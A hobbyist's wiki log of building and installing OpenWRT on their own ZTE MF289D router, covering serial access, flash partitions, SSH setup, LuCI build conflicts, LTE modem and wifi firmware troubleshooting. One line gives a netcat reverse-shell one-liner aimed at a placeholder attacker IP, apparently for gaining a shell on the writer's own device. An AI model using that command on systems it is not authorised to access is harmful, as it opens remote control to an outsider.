PPC Wiki

installing OpenWRT on my router (zte MF289D)

6 min read

log

  • docker run —cpus “6” -it -v .:/out -v /nix:/nix openwrt/sdk

  • git clone https://github.com/Kroustalo/OpenWRT-ZTE-MF289D

  • i got the config.buildinfo from here: https://downloads.openwrt.org/releases/25.12.5/targets/ipq40xx/generic/

    • which was then copied to OpenWRT-ZTE-MF289D/.config

  • make menuconfig

    • select only the MF289D router.

  • make -j 12

  • pins from the bottom (where the router stands) are GND, RX (plug into TX), TX

  • ESC is \x1b

  • reverse shell: (without -e which this busybox nc aparently does not support..) rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | busybox nc <ATTACKER-IP> <PORT> > /tmp/f

  • flash partition list script

for dev in /sys/class/mtd/mtd*[!ro]; do [ -d "$dev" ] && echo "$(basename $dev): $(cat $dev/name) -> $(basename $(readlink -f $dev/device))" done

output:

mtd0: 0:SBL1 -> spi0.0
mtd1: 0:MIBIB -> spi0.0
mtd2: 0:QSEE -> spi0.0
mtd3: 0:CDT -> spi0.0
mtd4: 0:DDRPARAMS -> spi0.0
mtd5: 0:APPSBLENV -> spi0.0
mtd6: 0:APPSBL -> spi0.0
mtd7: 0:reserved1 -> spi0.0
mtd8: fota-flag -> spi0.1
mtd9: ART -> spi0.1
mtd10: mac -> spi0.1
mtd11: reserved2 -> spi0.1
mtd12: cfg-param -> spi0.1
mtd13: log -> spi0.1
mtd14: oops -> spi0.1
mtd15: reserved3 -> spi0.1
mtd16: web -> spi0.1
mtd17: rootfs -> spi0.1
mtd18: data -> spi0.1
mtd19: fota -> spi0.1
  • cat /proc/mtd
dev:    size   erasesize  name
mtd0: 00040000 00010000 "0:SBL1"
mtd1: 00020000 00010000 "0:MIBIB"
mtd2: 00060000 00010000 "0:QSEE"
mtd3: 00010000 00010000 "0:CDT"
mtd4: 00010000 00010000 "0:DDRPARAMS"
mtd5: 00010000 00010000 "0:APPSBLENV"
mtd6: 000c0000 00010000 "0:APPSBL"
mtd7: 00050000 00010000 "0:reserved1"
mtd8: 000a0000 00020000 "fota-flag"
mtd9: 00080000 00020000 "ART"
mtd10: 00080000 00020000 "mac"
mtd11: 000c0000 00020000 "reserved2"
mtd12: 00400000 00020000 "cfg-param"
mtd13: 00400000 00020000 "log"
mtd14: 000a0000 00020000 "oops"
mtd15: 00500000 00020000 "reserved3"
mtd16: 00800000 00020000 "web"
mtd17: 01d00000 00020000 "rootfs"
mtd18: 01900000 00020000 "data"
mtd19: 03200000 00020000 "fota"

  • uci set dropbear.@dropbear[0].PasswordAuth=“0”

  • uci set dropbear.@dropbear[0].RootPasswordAuth=“0”

  • uci commit dropbear

  • /etc/init.d/dropbear restart

  • vim /etc/dropbear/authorized_keys # and add pub keys

  • chmod 0600 /etc/dropbear/authorized_keys

  • needed those two commands to make the Share with Other computer (networkmanager) stuff work

    • sudo iptables -I FORWARD -i enp0s20f0u4u3u4 -j ACCEPT
    • sudo iptables -I FORWARD -o enp0s20f0u4u3u4 -m conntrack —ctstate RELATED,ESTABLISHED -j ACCEPT

getting luci

  • ./scripts/feeds update -a

  • ./scripts/feeds install -a -p luci

  • make -j 12

  • luci commit I’m using: b33ede60468e71ca5033aae09696eb0ac2531619

    • just git cloned it into ./feeds/luci (not working, restarting a full build on a second clone of openWRT)

  • problems with package colisions

    • ./scripts/feeds added the newest luci feed there is. which can’t deal with my old ucode i have from the Openwrt fork
    • the luci from downloads.openwrt.org also has collisions.

sim card/LTE

  • check sim cards

    • qmicli -d /dev/cdc-wdm0 —uim-get-card-status

  • uqmi -d /dev/cdc-wdm0 —get-current-settings

    • out: “Failed to connect to service”

  • uqmi -d /dev/cdc-wdm0 —create-profile 3gpp2

  • uqmi -d /dev/cdc-wdm0 —modify-profile 3gpp,3 —username ppp@a1plus.at —password ppp —auth-type pap

  • uqmi -d /dev/cdc-wdm0 —start-network —profile 3

  • —get-data-status

  • —get-serving-system

  • sudo ./busybox/bin/udhcpc -i wwan0

  • sudo ./result/bin/uqmi -d /dev/cdc-wdm0 —get-device-operating-mode

  • on openwrt I have to user set-clinet-id: uqmi -d /dev/cdc-wdm0 —set-client-id wds,19 —start-network —profile 3

    • —get-client-id wds to get the client id
    • see:

  • ModemManager log: “creating modem with plugin ‘zte’ and ‘6’ ports”

    • wait, there is a special zte plugin??? → yep but for some specialy variant called “Icera” which i don’t have.

  • so the modem works on my laptop using ModemManager there (using a miniPcie to usb adapter). I can’t get it’s LTE connection to work using uqmi commands. the modem does dhcp-server, i get an IP on the wwan interface. status would suggest everything working. but no data makes it through.

  • interestingly when using Modemmanager, then stopping Modemmanager. the uqmi —start-network works

  • now installed ModemManager on my router.

    • if i go to mmcli -m 0 --enable it goes to the searching state and stays stuck there. WHYYYYYYYYYYY

  • after kill -9 <pidof modemmanager> && /etc/init.d/modemmanager stop i was able to get it from “searching” to “registered” using uqmi —network-scan.

    • but then again all looks good, but no packets going through.
    • if I then start modemmanager again i get packet service state: attached

  • Mon Sep 7 19:43:29 2026 daemon.notice netifd: wwan0 (12841): Device not managed by ModemManager

    • WHAT DO YOU MEAN?????!!!!
    • logread -e ModemManager -f

  • Mon Sep 7 19:45:51 2026 daemon.notice netifd: wwan0 (15907): couldn't load bearer path: disconnecting anyway

  • WTF is a EPS Bearer

  • this is what’s happening:

Mon Sep  7 19:45:51 2026 daemon.notice netifd: wwan0 (15860): error: couldn't find modem
Mon Sep  7 19:45:51 2026 daemon.notice netifd: wwan0 (15860): Device not managed by ModemManager
Mon Sep  7 19:45:51 2026 daemon.notice netifd: wwan0 (15907): stopping network
Mon Sep  7 19:45:51 2026 daemon.notice netifd: wwan0 (15907): error: couldn't find modem
Mon Sep  7 19:45:51 2026 daemon.notice netifd: wwan0 (15907): couldn't load bearer path: disconnecting anyway

on to wifi

  • the 5GHz wifi chip works no problemo. 2GHz chip does nothing
  • I do get this in dmesg:
[   27.370849] ath10k_ahb a000000.wifi: qca4019 hw1.0 target 0x01000000 chip_id 0x003b00ff sub 0000:0000
[   27.370922] ath10k_ahb a000000.wifi: kconfig debug 0 debugfs 1 tracing 0 dfs 1 testmode 0
[   27.382749] ath10k_ahb a000000.wifi: firmware ver 10.4b-ct-4019-fW-13-5ae337bb1 api 5 features mfp,peer-flow-ctrl,txstatus-noack,wmi-10.x-CT,ratemask-CT,regdump-CT,txrate-CT,flush-all-CT,pingpong-CT,ch-regs-CT,nop-CT,set-special-CT,tx-rc-CT,cust-stats-CT,txrate2-CT,beacon-cb-CT,wmi-block-ack-CT,wmi-bcn-rc-CT crc32 6b2b5c5b
[   27.479304] ath10k_ahb a000000.wifi: failed to fetch board data for bus=ahb,bmi-chip-id=0,bmi-board-id=20,variant=zte,mf289d from ath10k/QCA4019/hw1.0/board-2.bin
[   27.673213] ath10k_ahb a000000.wifi: failed to fetch board-2.bin or board.bin from ath10k/QCA4019/hw1.0
[   27.673307] ath10k_ahb a000000.wifi: failed to fetch board file: -12
[   27.681746] ath10k_ahb a000000.wifi: could not probe fw (-12)

BUT THE FILE IS THERE!!!

Graph View

Backlinks